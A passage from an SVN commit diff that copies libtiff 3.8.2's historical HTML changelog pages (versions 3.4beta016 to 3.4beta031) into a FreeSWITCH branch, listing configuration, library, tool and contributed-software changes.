+<LI>a new define, <TT>HOST_BIGENDIAN</TT>, was added for code that
+   wants to statically use information about native cpu byte order
+</UL>
+
+<P><HR WIDTH=65% ALIGN=right>
+
+<A NAME="libtiff"><B><FONT SIZE=+3>C</FONT>HANGES IN LIBTIFF:</B></A>
+
+<UL>
+<LI>the G3/G4 decoder was replaced by a new one that is faster and
+   has smaller state tables
+<LI>Niles Ritter's client tag extension hooks were added
+<LI>a new routine <TT>TIFFCurrentDirOffset</TT> was added for
+   applications that want to find out the file offset of a TIFF directory
+<LI>the calculation of the number of strips in an image was corected
+   for images with certain esoteric configurations
+<LI>a potential memory leak (very unlikely) was plugged
+<LI>the <TT>TIFFReadRGBAImage</TT> support was completely rewritten
+   and new, more flexible support was added for reading images into
+   a fixed-format raster
+<LI>YCbCr to RGB conversion done in the <TT>TIFFReadRGBAImage</TT> support
+   was optimized
+<LI>a bug in JPEG support calculation of strip size was corrected
+<LI>the LZW decoder was changed to initialize the code table to zero
+   to lessen potential problems that arise when invalid data is decoded
+<LI><B>tiffcomp.h</B> is now aware of OS/2
+<LI>some function prototypes in <B>tiffio.h</B> and <B>tiffiop.h</B>
+   that contained parameter
+   names have been changed to avoid complaints from certain compilers
+</UL>
+
+<P><HR WIDTH=65% ALIGN=right>
+
+<A NAME="port"><B><FONT SIZE=+3>C</FONT>HANGES IN THE PORTABILITY SUPPORT:</B></A>
+
+<UL>
+<LI><B>Makefile.in</B> has been corrected to use the parameters
+   chosen by the configure script
+</UL>
+
+<P><HR WIDTH=65% ALIGN=right>
+
+<A NAME="tools"><B><FONT SIZE=+3>C</FONT>HANGES IN THE TOOLS:</B></A>
+
+<UL>
+<LI><TT>fax2ps</TT> has been rewritten and moved over from the user
+   contributed software
+<LI>an uninitialized variable in <TT>pal2rgb</TT> has been fixed
+<LI><TT>ras2tiff</TT> now converts 24-bit RGB raster data so that
+   samples are written in the proper order
+<LI><TT>tiff2ps</TT> has been updated to include fixes
+    and enhancements from Alberto Accomazzi
+<LI><TT>tiffcp</TT> now has a <TT>-o</TT> option to select a directory
+    by file offset
+<LI><TT>tiffinfo</TT> is now capable of displaying the raw undecoded
+    image data in a file
+<LI><TT>tiffgt</TT> has been rewritten to use the new <TT>TIFFRGBAImage</TT>
+   support and to handle multiple files
+</UL>
+
+<A HREF="index.html"><IMG SRC="images/back.gif"></A> TIFF home page.<BR>
+
+<HR>
+
+<ADDRESS>
+<A HREF="sam.html">Sam Leffler</A> / <A HREF="mailto:sam@engr.sgi.com">sam@engr.sgi.com</A>
+Last updated $Date: 1999/08/09 20:21:21 $.
+</ADDRESS>
+
+</BODY>
+</HTML>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.4beta016.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.4beta016.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/v3.4beta016.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.4beta016.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.4beta016.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,122 @@
+<HTML>
+<HEAD>
+<TITLE>
+Changes in TIFF v3.4beta016
+</TITLE>
+</HEAD>
+
+<BODY>
+<FONT FACE="Arial, Helvetica, Sans">
+
+<BASEFONT SIZE=4>
+<B><FONT SIZE=+3>T</FONT>IFF <FONT SIZE=+2>C</FONT>HANGE <FONT SIZE=+2>I</FONT>NFORMATION</B>
+<BASEFONT SIZE=3>
+
+<UL>
+<HR SIZE=4 WIDTH=65% ALIGN=left>
+<B>Current Version</B>: v3.4beta016<BR>
+<B>Previous Version</B>: <A HREF=v3.4beta007.html>v3.4beta007</A><BR>
+<B>Master FTP Site</B>: <A HREF="ftp://ftp.sgi.com/graphics/tiff">ftp.sgi.com (192.48.153.1), directory graphics/tiff</A><BR>
+<HR SIZE=4 WIDTH=65% ALIGN=left>
+</UL>
+
+<P>
+This document describes the changes made to the software between the
+<I>previous</I> and <I>current</I> versions (see above).
+If you don't find something listed here, then it was not done in this
+timeframe, or it was not considered important enough to be mentioned.
+The following information is located here:
+<UL>
+<LI><A HREF="#configure">Changes in the software configuration</A>
+<LI><A HREF="#libtiff">Changes in libtiff</A>
+<LI><A HREF="#tools">Changes in the tools</A>
+<LI><A HREF="#man">Changes in the manual pages</A>
+<LI><A HREF="#html">Changes in the documentation</A>
+<LI><A HREF="#contrib">Changes in contributed software</A>
+</UL>
+
+<P><HR WIDTH=65% ALIGN=right>
+
+<A NAME="configure"><B><FONT SIZE=+3>C</FONT>HANGES IN THE SOFTWARE CONFIGURATION:</B></A>
+
+<UL>
+<LI>support was added for configuring the Deflate codec
+<LI>support was added for the HTML documentation
+<LI>codecs that are not configured for inclusion in the library
+   are no longer compiled
+</UL>
+
+<P><HR WIDTH=65% ALIGN=right>
+
+<A NAME="libtiff"><B><FONT SIZE=+3>C</FONT>HANGES IN LIBTIFF:</B></A>
+
+<UL>
+<LI>support was added for registering new codecs external to the library
+   and for overriding the codecs that are builtin to the library
+<LI>emulation support for the old <TT>DataType</TT> tag was improved
+<LI>suppport was added for the <TT>SMinSampleValue</TT>
+    and <TT>SMaxSampleValue</TT> tags
+<LI>the library no longer ignores <TT>TileWidth</TT> and <TT>TileLength</TT>
+    tags whose values are not a multiple of 16 (per the spec); this
+    permits old, improperly written, images to be read
+<LI>the support for the <TT>Predictor</TT> tag was placed in a reusable
+    module so that it can be shared by multiple codecs
+<LI>experimental compression support was added for the Deflate algorithm
+   (using the freely available zlib package)
+<LI>a new routine, <TT>TIFFWriteBufferSetup</TT> was added a la the
+   routine <TT>TIFFReadBufferSetup</TT>
+<LI>the DSO version of the library is now statically linked with the
+   JPEG and Deflate libraries; this means applications that link against
+   the DSO do not also need to link against these ancillary libraries
+</UL>
+
+<P><HR WIDTH=65% ALIGN=right>
+
+<A NAME="tools"><B><FONT SIZE=+3>C</FONT>HANGES IN THE TOOLS:</B></A>
+
+<UL>
+<LI>all the tools now use common code to process compress-oriented arguments
+<LI><TT>tiffdump</TT> should now compile on a Macintosh with MPW
+</UL>
+
+<P><HR WIDTH=65% ALIGN=right>
+
+<A NAME="man"><B><FONT SIZE=+3>C</FONT>HANGES IN THE MANUAL PAGES:</B></A>
+
+<UL>
+<LI>everything was updated
+</UL>
+
+<P><HR WIDTH=65% ALIGN=right>
+
+<A NAME="html"><B><FONT SIZE=+3>C</FONT>HANGES IN THE DOCUMENTATION:</B></A>
+
+<UL>
+<LI>everything was updated
+</UL>
+
+<P><HR WIDTH=65% ALIGN=right>
+
+<A NAME="contrib"><B><FONT SIZE=+3>C</FONT>HANGES IN CONTRIBUTED SOFTWARE:</B></A>
+
+<UL>
+<LI><B>contrib/dbs/xtiff</B> was made to compile
+<LI><B>contrib/mac-mpw</B> is new support for compiling the software on
+   a Macintosh under MPW; consult <A HREF=build.html#Mac>the documentation</A>
+   for details
+<LI><B>contrib/tags</B> is information on how to use the tag extenion
+   facilities; consult
+   <A HREF=../contrib/tags/README>contrib/tags/README</A> for details
+</UL>
+
+<A HREF="index.html"><IMG SRC="images/back.gif"></A> TIFF home page.<BR>
+
+<HR>
+
+<ADDRESS>
+<A HREF="sam.html">Sam Leffler</A> / <A HREF="mailto:sam@engr.sgi.com">sam@engr.sgi.com</A>
+Last updated $Date: 1999/08/09 20:21:21 $.
+</ADDRESS>
+
+</BODY>
+</HTML>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.4beta018.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.4beta018.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/v3.4beta018.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.4beta018.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.4beta018.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,84 @@
+<HTML>
+<HEAD>
+<TITLE>
+Changes in TIFF v3.4beta018
+</TITLE>
+</HEAD>
+
+<BODY>
+<FONT FACE="Arial, Helvetica, Sans">
+
+<BASEFONT SIZE=4>
+<B><FONT SIZE=+3>T</FONT>IFF <FONT SIZE=+2>C</FONT>HANGE <FONT SIZE=+2>I</FONT>NFORMATION</B>
+<BASEFONT SIZE=3>
+
+<UL>
+<HR SIZE=4 WIDTH=65% ALIGN=left>
+<B>Current Version</B>: v3.4beta018<BR>
+<B>Previous Version</B>: <A HREF=v3.4beta016.html>v3.4beta016</A><BR>
+<B>Master FTP Site</B>: <A HREF="ftp://ftp.sgi.com/graphics/tiff">ftp.sgi.com (192.48.153.1), directory graphics/tiff</A><BR>
+<HR SIZE=4 WIDTH=65% ALIGN=left>
+</UL>
+
+<P>
+This document describes the changes made to the software between the
+<I>previous</I> and <I>current</I> versions (see above).
+If you don't find something listed here, then it was not done in this
+timeframe, or it was not considered important enough to be mentioned.
+The following information is located here:
+<UL>
+<LI><A HREF="#configure">Changes in the software configuration</A>
+<LI><A HREF="#libtiff">Changes in libtiff</A>
+<LI><A HREF="#tools">Changes in the tools</A>
+</UL>
+
+<P><HR WIDTH=65% ALIGN=right>
+
+<A NAME="configure"><B><FONT SIZE=+3>C</FONT>HANGES IN THE SOFTWARE CONFIGURATION:</B></A>
+
+<UL>
+<LI>configure now recognizes IRIX 6.x systems
+<LI>configure now uses <TT>ENVOPTS</TT> when searching for an ANSI
+   C compiler; this fixes a problem configuring the software under
+   HP/UX with the native C compiler
+<LI>configure now correctly recognizes memory-mapped files are supported
+   under AIX
+</UL>
+
+<P><HR WIDTH=65% ALIGN=right>
+
+<A NAME="libtiff"><B><FONT SIZE=+3>C</FONT>HANGES IN LIBTIFF:</B></A>
+
+<UL>
+<LI><TT>make install</TT> now properly installs the include files
+<LI>some portability fixes from Bjorn Brox
+<LI>the G3/G4 codec now warns about decoded rows that are longer than
+    the image/tile width
+<LI>changes from Frank Cringle to make the library work with the
+    gcc-specific bounds checking software
+<LI>miscellaneous fixes to <TT>TIFFPrintDirectory</TT>
+<LI>bug fix to correct a problem where <TT>TIFFWriteRawStrip</TT>
+    could not be used to automatically grow an image's length
+</UL>
+
+<P><HR WIDTH=65% ALIGN=right>
+
+<A NAME="tools"><B><FONT SIZE=+3>C</FONT>HANGES IN THE TOOLS:</B></A>
+
+<UL>
+<LI>fixes from Frank Cringle to update <TT>fax2tiff</TT>
+<LI>portability fixes to <TT>tiff2bw</TT> and <TT>tiffcmp</TT>
+<LI><TT>tiffdump</TT> now uses the byte swapping routines in the library
+</UL>
+
+<A HREF="index.html"><IMG SRC="images/back.gif"></A> TIFF home page.<BR>
+
+<HR>
+
+<ADDRESS>
+<A HREF="sam.html">Sam Leffler</A> / <A HREF="mailto:sam@engr.sgi.com">sam@engr.sgi.com</A>
+Last updated $Date: 1999/08/09 20:21:21 $.
+</ADDRESS>
+
+</BODY>
+</HTML>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.4beta024.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.4beta024.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/v3.4beta024.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.4beta024.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.4beta024.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,139 @@
+<HTML>
+<HEAD>
+<TITLE>
+Changes in TIFF v3.4beta024
+</TITLE>
+</HEAD>
+
+<BODY>
+<FONT FACE="Arial, Helvetica, Sans">
+
+<BASEFONT SIZE=4>
+<B><FONT SIZE=+3>T</FONT>IFF <FONT SIZE=+2>C</FONT>HANGE <FONT SIZE=+2>I</FONT>NFORMATION</B>
+<BASEFONT SIZE=3>
+
+<UL>
+<HR SIZE=4 WIDTH=65% ALIGN=left>
+<B>Current Version</B>: v3.4beta024<BR>
+<B>Previous Version</B>: <A HREF=v3.4beta018.html>v3.4beta018</A><BR>
+<B>Master FTP Site</B>: <A HREF="ftp://ftp.sgi.com/graphics/tiff">ftp.sgi.com (192.48.153.1), directory graphics/tiff</A><BR>
+<HR SIZE=4 WIDTH=65% ALIGN=left>
+</UL>
+
+<P>
+This document describes the changes made to the software between the
+<I>previous</I> and <I>current</I> versions (see above).
+If you don't find something listed here, then it was not done in this
+timeframe, or it was not considered important enough to be mentioned.
+The following information is located here:
+<UL>
+<LI><A HREF="#configure">Changes in the software configuration</A>
+<LI><A HREF="#libtiff">Changes in libtiff</A>
+<LI><A HREF="#tools">Changes in the tools</A>
+<LI><A HREF="#man">Changes in the manual pages</A>
+<LI><A HREF="#contrib">Changes in the contributed software</A>
+</UL>
+
+<P><HR WIDTH=65% ALIGN=right>
+
+<A NAME="configure"><B><FONT SIZE=+3>C</FONT>HANGES IN THE SOFTWARE CONFIGURATION:</B></A>
+
+<UL>
+<LI>It is now possible to setup the software to build only the
+   library; configure reconizes this is the intent when the
+   <B>VERSION</B>, <B>tiff.alpha</B>, and <B>tif_version.c</B>
+   files are in the local directory (i.e. ``.'')
+<LI>configure no longer tries to setup HTML materials
+<LI>include file directories needed in building the library are now
+   specified with a <TT>DIRS_LIBINC</TT> config parameter
+<LI>configure no longer checks for alternate compilers if <TT>CC</TT>
+   is set; if the specified compiler is not found or is not appropriate
+   the configuration procedure aborts
+<LI>the <B>port.h</B> file generated by configure is now used only by
+   the library and as such as have been moved to the <B>libtiff</B>
+   directory
+<LI>there is beginning support for building DSO's on systems other than IRIX
+<LI>configure now verifies the JPEG and zlib directory pathnames by
+   checking for well-known include files in these directories
+<LI>configure no longer creates the <B>dist</B> directory needed only
+   on SGI machines (for building SGI binary distributions)
+<LI>a bug was fixed whereby configure would incorrectly set
+    <TT>ENVOPTS</TT> when building the software with gcc under AIX
+</UL>
+
+<P><HR WIDTH=65% ALIGN=right>
+
+<A NAME="libtiff"><B><FONT SIZE=+3>C</FONT>HANGES IN LIBTIFF:</B></A>
+
+<UL>
+<LI>two new typedefs were added to <B>tiff.h</TT>: <TT>int8</TT>
+    and <TT>uint8</TT> for signed and unsigned 8-bit quantities,
+    respectively; these are currently used only by
+    programs in the <B>tools</B> directory
+<LI>the <TT>BadFaxLines</TT>, <TT>CleanFaxData</TT>, and
+    <TT>ConsecutiveBadFaxLines</B> tags are now supported with
+    Group 4 compression
+<LI>byte order is now correctly identified on 64-bit machines
+<LI>a bug was fixed in the PackBits decoder where input data would
+    appear short when a no-op run was present
+<LI>a bug was fixed in calculations with very wide strips
+<LI><TT>TIFFWriteEncodedStrip</TT> and <TT>TIFFWriteRawStrip</TT>
+    were extended to support dynamically growing the number of
+    strips in an image (must set <TT>ImageLength</TT> prior to
+    making calls though)
+<LI><TT>TIFFDefaultTileSize</TT> now rounds tile width and height
+    up to a multiple of 16 pixels, as required by the TIFF 6.0 specification
+<LI>the file <B>version.h</B> is now built by a new <B>mkversion</B>
+    program; this was done for portability to non-UNIX systems
+<LI>support was added for the Acorn RISC OS (from Peter Greenham)
+<LI>the builtin codec table is now made <TT>const</TT> when compiling
+    under VMS so that <B>libtiff</B> can be built as a shared library
+<LI>support for the PowerPC Mac (from Ruedi Boesch)
+<LI>support for Window NT/Window 95 (from Scott Wagner)
+</UL>
+
+<P><HR WIDTH=65% ALIGN=right>
+
+<A NAME="tools"><B><FONT SIZE=+3>C</FONT>HANGES IN THE TOOLS:</B></A>
+
+<UL>
+<LI>the tools no longer include <B>port.h</B>
+<LI>various portability fixes; mostly to eliminate implicit assumptions
+    about how long <TT>int32</TT> data types are
+<LI>PostScript Level II additions to <TT>tiff2ps</TT> from Bjorn Brox
+<LI><TT>sgi2tiff</TT> now handles RGBA images
+</UL>
+
+<P><HR WIDTH=65% ALIGN=right>
+
+<A NAME="man"><B><FONT SIZE=+3>C</FONT>HANGES IN THE MANUAL PAGES:</B></A>
+
+<UL>
+<LI>the documentation has been updated to reflect the current state of
+    the software
+<LI>some routines have been moved to different manual pages
+    to group like-routines together
+</UL>
+
+<P><HR WIDTH=65% ALIGN=right>
+
+<A NAME="contrib"><B><FONT SIZE=+3>C</FONT>HANGES IN THE CONTRIBUTED SOFTWARE:</B></A>
+
+<UL>
+<LI>support was added for the Acorn RISC OS (from Peter Greenham)
+<LI>support for Windows NT/Windows 95 contributed for a previous
+    version of this software was sort of incorporated (it's broken
+    right now) (from Scott Wagner)
+</UL>
+
+<A HREF="index.html"><IMG SRC="images/back.gif"></A> TIFF home page.<BR>
+
+<HR>
+
+<ADDRESS>
+<A HREF="sam.html">Sam Leffler</A> / <A HREF="mailto:sam@engr.sgi.com">sam@engr.sgi.com</A>
+Last updated $Date: 1999/08/09 20:21:21 $.
+</ADDRESS>
+
+</BODY>
+</HTML>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.4beta028.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.4beta028.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/v3.4beta028.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.4beta028.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.4beta028.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,146 @@
+<HTML>
+<HEAD>
+<TITLE>
+Changes in TIFF v3.4beta028
+</TITLE>
+</HEAD>
+
+<BODY>
+<FONT FACE="Arial, Helvetica, Sans">
+
+<BASEFONT SIZE=4>
+<B><FONT SIZE=+3>T</FONT>IFF <FONT SIZE=+2>C</FONT>HANGE <FONT SIZE=+2>I</FONT>NFORMATION</B>
+<BASEFONT SIZE=3>
+
+<UL>
+<HR SIZE=4 WIDTH=65% ALIGN=left>
+<B>Current Version</B>: v3.4beta028<BR>
+<B>Previous Version</B>: <A HREF=v3.4beta024.html>v3.4beta024</A><BR>
+<B>Master FTP Site</B>: <A HREF="ftp://ftp.sgi.com/graphics/tiff">ftp.sgi.com (192.48.153.1), directory graphics/tiff</A><BR>
+<HR SIZE=4 WIDTH=65% ALIGN=left>
+</UL>
+
+<P>
+This document describes the changes made to the software between the
+<I>previous</I> and <I>current</I> versions (see above).
+If you don't find something listed here, then it was not done in this
+timeframe, or it was not considered important enough to be mentioned.
+The following information is located here:
+<UL>
+<LI><A HREF="#configure">Changes in the software configuration</A>
+<LI><A HREF="#libtiff">Changes in libtiff</A>
+<LI><A HREF="#tools">Changes in the tools</A>
+<LI><A HREF="#man">Changes in the manual pages</A>
+<LI><A HREF="#contrib">Changes in the contributed software</A>
+</UL>
+
+<P><HR WIDTH=65% ALIGN=right>
+
+<A NAME="configure"><B><FONT SIZE=+3>C</FONT>HANGES IN THE SOFTWARE CONFIGURATION:</B></A>
+
+<UL>
+<LI>a <TT>-noninteractive</TT> flag was added to configure to
+   control whether or not it prints and prompts for configuration information
+<LI>various typos and fixes were made in configure for the the
+   library-only build support (this and other configure fixes from
+   Richard Mlynarik <A HREF=mailto:mly@adoc.xerox.com>&lt;mly@adoc.xerox.com&gt;</A>)
+<LI>bugs were fixed in the handling of pathnames supplied for external
+   packages; e.g. <TT>DIR_JPEG</TT>
+<LI>the handling of <TT>SETMAKE</TT> is now done properly
+<LI>the default prototype function declaration for <TT>pow</TT> was corrected
+<LI>a bug was fixed in <B>libtiff/Makefile.in</B> that caused installation
+   to fail on systems without DSO support
+</UL>
+
+<P><HR WIDTH=65% ALIGN=right>
+
+<A NAME="libtiff"><B><FONT SIZE=+3>C</FONT>HANGES IN LIBTIFF:</B></A>
+
+<UL>
+<LI>Acorn RISC O/S support that was accidentally left out of the
+   left out of the previous distribution is present (from Peter Greenham)
+<LI>complaints about unknown and/or unsupported codecs have been
+   delayed until they are invoked; this permits applications to open
+   images and look at tags even if the image data is compressed with
+   an unknown/unsupported compression scheme
+<LI>bugs in handling unknown tags have been corrected; applications
+   that use multiple codecs, each with codec-specific tags, no longer
+   generate confusing error messages
+<LI>a missing pseudo-tag definition in the CCITT G3 codec was fixed
+   (this problem caused core dumps in the <TT>tiffcp</TT> program)
+<LI>pseudo-tags are now treated specially; they are always considered
+   to be set (i.e. they do not use bits in the <TT>FIELD_*</TT> bit-vectors).
+<LI>the use of strip chopping can now be controlled on a per-file basis
+   through a mode parameter supplied when opening a file (``C'' to
+   enable strip chopping and ``c'' to disable)
+<LI>two bugs were fixed in the writing of opposite-endian byte-order
+   files
+<LI>support was added for three new fax-related tags registered to
+   SGI: FaxRecvParams, FaxRecvTime, and FaxSubAddress
+<LI>the bit order of image data read and written can now be controlled
+   on a per-file basis through a mode parameter supplied when opening
+   a file (``B'' to force MSB2LSB bit order, ``L'' for LSB2MSB bit
+   order, and ``H'' for the bit order of the native CPU)
+<LI>the byte order of image and tag data written to newly-created files
+   can now be controlled on a per-file basis through a mode parameter
+   supplied when openening a file (``b'' to force Big-Endian byte order
+   and ``l'' to force Little-Endian byte order)
+<LI>the use memory-mapped files for images opened read-only can now
+   be controlled on a per-file basis through a mode parameter supplied
+   when opening a file (``M'' to enable use of memory-mapped files
+   and ``m'' to disable use)
+<LI>the use of the <TT>WIN32</TT> define in <B>tiffiop.h</B> has
+   been replaced by <TT>__WIN32__</TT>
+</UL>
+
+<P><HR WIDTH=65% ALIGN=right>
+
+<A NAME="tools"><B><FONT SIZE=+3>C</FONT>HANGES IN THE TOOLS:</B></A>
+
+<UL>
+<LI><TT>fax2ps</TT> now does a <TT>save</TT> and <TT>restore</TT>
+    around each page of PostScript; this fixes a problem with VM
+    overflow when printing a many-page document on some printers
+<LI>a bug in the handling of 3-channel images by <TT>ras2tiff</TT> 
+    was fixed
+<LI><TT>tiffcp</TT> has new options to control the byte order of
+    newly created files: <B>-B</B> for Big-Endian byte order, <B>-L</B>
+    for Little-Endian byte order; a <B>-M</B> option to disable the
+    use of memory-mapped files, and a <B>-C</B> option to disable the
+    use of strip chopping
+<LI>bugs were fixed in <TT>tiffcp</TT>'s handling of codec-specific tags
+</UL>
+
+<P><HR WIDTH=65% ALIGN=right>
+
+<A NAME="man"><B><FONT SIZE=+3>C</FONT>HANGES IN THE MANUAL PAGES:</B></A>
+
+<UL>
+<LI>the <TT>TIFFOpen</TT> page has been updated to reflect the new
+    optional open mode parameters
+</UL>
+
+<P><HR WIDTH=65% ALIGN=right>
+
+<A NAME="contrib"><B><FONT SIZE=+3>C</FONT>HANGES IN THE CONTRIBUTED SOFTWARE:</B></A>
+
+<UL>
+<LI><B>contrib/win95</B> contains information and code from Philippe Tenenhaus
+    <A HREF=mailto:100423.3705@compuserve.com>&lt;100423.3705@compuserve.com&gt;</A>
+    about using the software under Windows 95
+<LI><B>contrib/winnt</B> contains information and code from Dave Dyer
+    <A HREF=mailto:ddyer@triple-i.com>&lt;ddyer@triple-i.com&gt;</A>
+    about using the software under Windows NT
+</UL>
+
+<A HREF="index.html"><IMG SRC="images/back.gif"></A> TIFF home page.<BR>
+
+<HR>
+
+<ADDRESS>
+<A HREF="sam.html">Sam Leffler</A> / <A HREF="mailto:sam@engr.sgi.com">sam@engr.sgi.com</A>
+Last updated $Date: 1999/08/09 20:21:21 $.
+</ADDRESS>
+
+</BODY>
+</HTML>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.4beta029.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.4beta029.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/v3.4beta029.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.4beta029.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.4beta029.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,86 @@
+<HTML>
+<HEAD>
+<TITLE>
+Changes in TIFF v3.4beta029
+</TITLE>
+</HEAD>
+
+<BODY>
+<FONT FACE="Arial, Helvetica, Sans">
+
+<BASEFONT SIZE=4>
+<B><FONT SIZE=+3>T</FONT>IFF <FONT SIZE=+2>C</FONT>HANGE <FONT SIZE=+2>I</FONT>NFORMATION</B>
+<BASEFONT SIZE=3>
+
+<UL>
+<HR SIZE=4 WIDTH=65% ALIGN=left>
+<B>Current Version</B>: v3.4beta029<BR>
+<B>Previous Version</B>: <A HREF=v3.4beta028.html>v3.4beta028</A><BR>
+<B>Master FTP Site</B>: <A HREF="ftp://ftp.sgi.com/graphics/tiff">ftp.sgi.com (192.48.153.1), directory graphics/tiff</A><BR>
+<HR SIZE=4 WIDTH=65% ALIGN=left>
+</UL>
+
+<P>
+This document describes the changes made to the software between the
+<I>previous</I> and <I>current</I> versions (see above).
+If you don't find something listed here, then it was not done in this
+timeframe, or it was not considered important enough to be mentioned.
+The following information is located here:
+<UL>
+<LI><A HREF="#configure">Changes in the software configuration</A>
+<LI><A HREF="#libtiff">Changes in libtiff</A>
+<LI><A HREF="#contrib">Changes in the contributed software</A>
+</UL>
+
+<P><HR WIDTH=65% ALIGN=right>
+
+<A NAME="configure"><B><FONT SIZE=+3>C</FONT>HANGES IN THE SOFTWARE CONFIGURATION:</B></A>
+
+<UL>
+<LI><B>configure</B> now relativizes pathname references given in
+   <TT>-L</TT> options (as frequently specified when configuring
+   ancillary packages)
+<LI>problems related to configuring the software on Ultrix 4.4 have
+   been corrected
+<LI>the shell to use in Makefiles and scripts can now be set with the
+   <TT>SCRIPT_SH</TT> configuration parameter
+<LI>comments in <B>config.site</B> now correctly indicate how to setup the
+   use of ancillary packages
+</UL>
+
+<P><HR WIDTH=65% ALIGN=right>
+
+<A NAME="libtiff"><B><FONT SIZE=+3>C</FONT>HANGES IN LIBTIFF:</B></A>
+
+<UL>
+<LI>mods for building the software on a Mac using the
+   MetroWerks CodeWarrior compilers
+<LI>a bug in the CCITT T.4/T.6 decoder was fixed where the last codeword in
+   a strip/tile might not be decoded; this was seen only when decoding
+   multi-strip images
+<LI>a bug in the CCITT RLE codecs was fixed whereby the pseudo tags were not
+   being properly registered
+</UL>
+
+<P><HR WIDTH=65% ALIGN=right>
+
+<A NAME="contrib"><B><FONT SIZE=+3>C</FONT>HANGES IN THE CONTRIBUTED SOFTWARE:</B></A>
+
+<UL>
+<LI><B>contrib/mac-cw</B> contains information and code from Niles Ritter
+    <A HREF=mailto:ndr@tazboy.jpl.nasa.gov>&lt;ndr@tazboy.jpl.nasa.gov&gt;</A>
+    about building the software with the MetroWerks CodeWarrior compilers
+    on Macintosh systems
+</UL>
+
+<A HREF="index.html"><IMG SRC="images/back.gif"></A> TIFF home page.<BR>
+
+<HR>
+
+<ADDRESS>
+<A HREF="sam.html">Sam Leffler</A> / <A HREF="mailto:sam@engr.sgi.com">sam@engr.sgi.com</A>
+Last updated $Date: 1999/08/09 20:21:21 $.
+</ADDRESS>
+
+</BODY>
+</HTML>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.4beta031.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.4beta031.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/v3.4beta031.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.4beta031.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.4beta031.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,94 @@
+<HTML>
+<HEAD>
+<TITLE>
+Changes in TIFF v3.4beta031
+</TITLE>
+</HEAD>
+
+<BODY>
+<FONT FACE="Arial, Helvetica, Sans">
+
+<BASEFONT SIZE=4>
+<B><FONT SIZE=+3>T</FONT>IFF <FONT SIZE=+2>C</FONT>HANGE <FONT SIZE=+2>I</FONT>NFORMATION</B>
+<BASEFONT SIZE=3>
+
+<UL>
+<HR SIZE=4 WIDTH=65% ALIGN=left>
+<B>Current Version</B>: v3.4beta031<BR>
+<B>Previous Version</B>: <A HREF=v3.4beta029.html>v3.4beta029</A><BR>
+<B>Master FTP Site</B>: <A HREF="ftp://ftp.sgi.com/graphics/tiff">ftp.sgi.com (192.48.153.1), directory graphics/tiff</A><BR>
+<HR SIZE=4 WIDTH=65% ALIGN=left>
+</UL>
+
+<P>
+This document describes the changes made to the software between the
+<I>previous</I> and <I>current</I> versions (see above).
+If you don't find something listed here, then it was not done in this
+timeframe, or it was not considered important enough to be mentioned.
+The following information is located here:
+<UL>
+<LI><A HREF="#configure">Changes in the software configuration</A>
+<LI><A HREF="#libtiff">Changes in libtiff</A>
+<LI><A HREF="#man">Changes in the manual pages</A>
+</UL>
+
+<P><HR WIDTH=65% ALIGN=right>
+
+<A NAME="configure"><B><FONT SIZE=+3>C</FONT>HANGES IN THE SOFTWARE CONFIGURATION:</B></A>
+
+<UL>
+<LI><B>configure</B> now captures significantly more information
+   in the <B>config.log</B> file and provides more information when
+   it is unable to setup a configuration
+<LI>support was added for building shared libraries on more systems:
+   AIX, HPUX, Solaris, and Linux.
+<LI>a new configuration parameter <TT>LIBCOPTS</TT> was added for
+   passing arguments to the C compiler to use when building only
+   the library; this is part of the enhanced support for building
+   shared libraries
+<LI>include files for optional packages that reside in <B>/usr/include</B>
+   are now handled correctly
+<LI>build trees may now be configured using either relative or absolute
+   pathnames to the source distribution
+<LI>several new configuration parameters were added, mainly for building
+   shared libraries: <TT>DIST_MAJOR</TT>, <TT>DIST_MINOR</TT>, 
+   <TT>DIST_ALPHA</TT>, and <TT>DSOSUF_VERSION</TT>
+</UL>
+
+<P><HR WIDTH=65% ALIGN=right>
+
+<A NAME="libtiff"><B><FONT SIZE=+3>C</FONT>HANGES IN LIBTIFF:</B></A>
+
+<UL>
+<LI>the Deflate support has been revised: it requires version 0.99 of
+   the zlib software distribution, <B>the output format has changed and
+   is incompatible with previous versions of this library</B> (each
